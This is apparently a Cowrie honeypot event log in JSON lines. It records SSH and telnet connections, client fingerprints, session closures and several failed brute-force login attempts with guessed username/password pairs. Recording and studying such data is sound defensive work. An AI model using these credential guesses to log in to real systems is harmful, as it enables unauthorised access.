{"eventid":"cowrie.session.closed","duration":30.961783409118652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:30.248196Z","src_ip":"88.202.190.14","session":"3b39810ed8c8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:30.302183Z","src_ip":"43.243.142.42","session":"e4bbde37773e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17457890510559,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:30.960247Z","src_ip":"88.202.190.14","session":"46fb4faf6f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:31.535058Z","src_ip":"43.243.142.42","session":"e4bbde37773e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.358623027801514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:31.923402Z","src_ip":"88.202.190.14","session":"270a18464fdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.593897342681885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:32.205691Z","src_ip":"88.202.190.14","session":"6b60dc912b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.072447299957275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:33.148772Z","src_ip":"88.202.190.14","session":"6b171b65ec1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91239023208618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:33.753069Z","src_ip":"88.202.190.14","session":"ce6e6777abdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614393711090088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:34.436901Z","src_ip":"88.202.190.14","session":"0801e9ccc4ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3972647190094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:35.798208Z","src_ip":"88.202.190.14","session":"ecec59cab2e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":60612,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ba4698e0646","protocol":"ssh","message":"New connection: 42.200.66.164:60612 (159.203.135.109:22) [session: 6ba4698e0646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:37.444596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:37.449293Z","src_ip":"42.200.66.164","session":"6ba4698e0646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:37.669115Z","src_ip":"42.200.66.164","session":"6ba4698e0646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.45375347137451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:38.051104Z","src_ip":"88.202.190.14","session":"8e167aefea11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59748148918152,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:38.259265Z","src_ip":"88.202.190.14","session":"0b3d4e089bb7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1111","message":"login attempt [ftpuser/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:38.579010Z","src_ip":"42.200.66.164","session":"6ba4698e0646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.01154375076294,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:38.788961Z","src_ip":"88.202.190.14","session":"4a6f3a080cc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2863609790802,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:39.189432Z","src_ip":"88.202.190.14","session":"fde63fe09377","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:39.800588Z","src_ip":"42.200.66.164","session":"6ba4698e0646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.20746350288391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:40.061228Z","src_ip":"88.202.190.14","session":"e799ade4ed81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11338758468628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:40.088122Z","src_ip":"88.202.190.14","session":"b4a218e1bf6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55240,"dst_ip":"159.203.135.109","dst_port":23,"session":"2157f3c56e4e","protocol":"telnet","message":"New connection: 88.202.190.14:55240 (159.203.135.109:23) [session: 2157f3c56e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:40.656330Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":56398,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfacbdb437a7","protocol":"telnet","message":"New connection: 88.202.190.14:56398 (159.203.135.109:23) [session: bfacbdb437a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:41.664708Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55570,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6cee218ae99","protocol":"telnet","message":"New connection: 88.202.190.14:55570 (159.203.135.109:23) [session: f6cee218ae99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:42.247876Z"}
{"eventid":"cowrie.session.closed","duration":30.985148668289185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:42.844977Z","src_ip":"88.202.190.14","session":"9db0f6b497b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":57232,"dst_ip":"159.203.135.109","dst_port":23,"session":"c195370fb398","protocol":"telnet","message":"New connection: 88.202.190.14:57232 (159.203.135.109:23) [session: c195370fb398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:44.244734Z"}
{"eventid":"cowrie.session.closed","duration":90.29302263259888,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:45.093125Z","src_ip":"88.202.190.14","session":"5f8fe12f8cc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":60244,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a210c32da02","protocol":"ssh","message":"New connection: 49.247.36.49:60244 (10.17.0.5:22) [session: 4a210c32da02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:46.061140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:46.066029Z","src_ip":"49.247.36.49","session":"4a210c32da02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:46.274335Z","src_ip":"49.247.36.49","session":"4a210c32da02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rda","message":"login attempt [root/P@ssw0rda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:47.127138Z","src_ip":"49.247.36.49","session":"4a210c32da02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.829397201538086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:47.446954Z","src_ip":"88.202.190.14","session":"3587221ef8f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:48.335890Z","src_ip":"49.247.36.49","session":"4a210c32da02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":60516,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1df2d37b0de","protocol":"telnet","message":"New connection: 88.202.190.14:60516 (159.203.135.109:23) [session: c1df2d37b0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:48.673756Z"}
{"eventid":"cowrie.session.closed","duration":36.913596630096436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:50.184838Z","src_ip":"88.202.190.14","session":"16c520a26c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682562112808228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:50.287519Z","src_ip":"88.202.190.14","session":"97ef9af6ec23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33344,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c872ba3d8a4","protocol":"telnet","message":"New connection: 88.202.190.14:33344 (159.203.135.109:23) [session: 8c872ba3d8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:50.591025Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":32852,"dst_ip":"159.203.135.109","dst_port":23,"session":"102d26e6bdd7","protocol":"telnet","message":"New connection: 88.202.190.14:32852 (159.203.135.109:23) [session: 102d26e6bdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:52.816794Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":34834,"dst_ip":"159.203.135.109","dst_port":23,"session":"53aed2c36562","protocol":"telnet","message":"New connection: 88.202.190.14:34834 (159.203.135.109:23) [session: 53aed2c36562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:53.834880Z"}
{"eventid":"cowrie.session.closed","duration":63.41446781158447,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:54.954529Z","src_ip":"88.202.190.14","session":"c2c77f582dac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":37014,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ba96c8b4fc0","protocol":"telnet","message":"New connection: 88.202.190.14:37014 (159.203.135.109:23) [session: 2ba96c8b4fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:56.145753Z"}
{"eventid":"cowrie.session.closed","duration":31.142553329467773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:56.603703Z","src_ip":"88.202.190.14","session":"1861c9e1ac85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":39020,"dst_ip":"159.203.135.109","dst_port":23,"session":"13589cdc655a","protocol":"telnet","message":"New connection: 88.202.190.14:39020 (159.203.135.109:23) [session: 13589cdc655a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:58.895801Z"}
{"eventid":"cowrie.session.closed","duration":30.835177421569824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:59.441786Z","src_ip":"88.202.190.14","session":"8488b038c83c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334391832351685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:59.447376Z","src_ip":"88.202.190.14","session":"dee47bfe965f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299066066741943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:11.955228Z","src_ip":"88.202.190.14","session":"2157f3c56e4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53597331047058,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:16.783715Z","src_ip":"88.202.190.14","session":"f6cee218ae99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.45284104347229,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:20.117439Z","src_ip":"88.202.190.14","session":"bfacbdb437a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58908438682556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:20.262710Z","src_ip":"88.202.190.14","session":"c1df2d37b0de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":42388,"dst_ip":"159.203.135.109","dst_port":23,"session":"31882d10daaf","protocol":"telnet","message":"New connection: 88.202.190.14:42388 (159.203.135.109:23) [session: 31882d10daaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:20.319580Z"}
{"eventid":"cowrie.session.closed","duration":32.47285294532776,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:23.064020Z","src_ip":"88.202.190.14","session":"8c872ba3d8a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.618924617767334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:24.453557Z","src_ip":"88.202.190.14","session":"53aed2c36562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.93087673187256,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:25.747586Z","src_ip":"88.202.190.14","session":"102d26e6bdd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":44811,"dst_ip":"10.17.0.5","dst_port":22,"session":"53205d4d328e","protocol":"ssh","message":"New connection: 216.155.93.75:44811 (10.17.0.5:22) [session: 53205d4d328e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:25.870900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:25.876942Z","src_ip":"216.155.93.75","session":"53205d4d328e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:26.025427Z","src_ip":"216.155.93.75","session":"53205d4d328e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":53274,"dst_ip":"159.203.135.109","dst_port":22,"session":"94f22e6e2de0","protocol":"ssh","message":"New connection: 43.243.142.42:53274 (159.203.135.109:22) [session: 94f22e6e2de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:26.595359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:26.600762Z","src_ip":"43.243.142.42","session":"94f22e6e2de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"my123456","message":"login attempt [root/my123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:26.643775Z","src_ip":"216.155.93.75","session":"53205d4d328e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:26.860445Z","src_ip":"43.243.142.42","session":"94f22e6e2de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:27.792637Z","src_ip":"216.155.93.75","session":"53205d4d328e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.65824794769287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:27.803861Z","src_ip":"88.202.190.14","session":"2ba96c8b4fc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42990,"dst_ip":"10.17.0.5","dst_port":23,"session":"065f7dc4feef","protocol":"telnet","message":"New connection: 64.227.101.30:42990 (10.17.0.5:23) [session: 065f7dc4feef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:27.837668Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"d3v3l0p3r","message":"login attempt [developer/d3v3l0p3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:27.895964Z","src_ip":"43.243.142.42","session":"94f22e6e2de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:29.150249Z","src_ip":"43.243.142.42","session":"94f22e6e2de0","protocol":"ssh"}
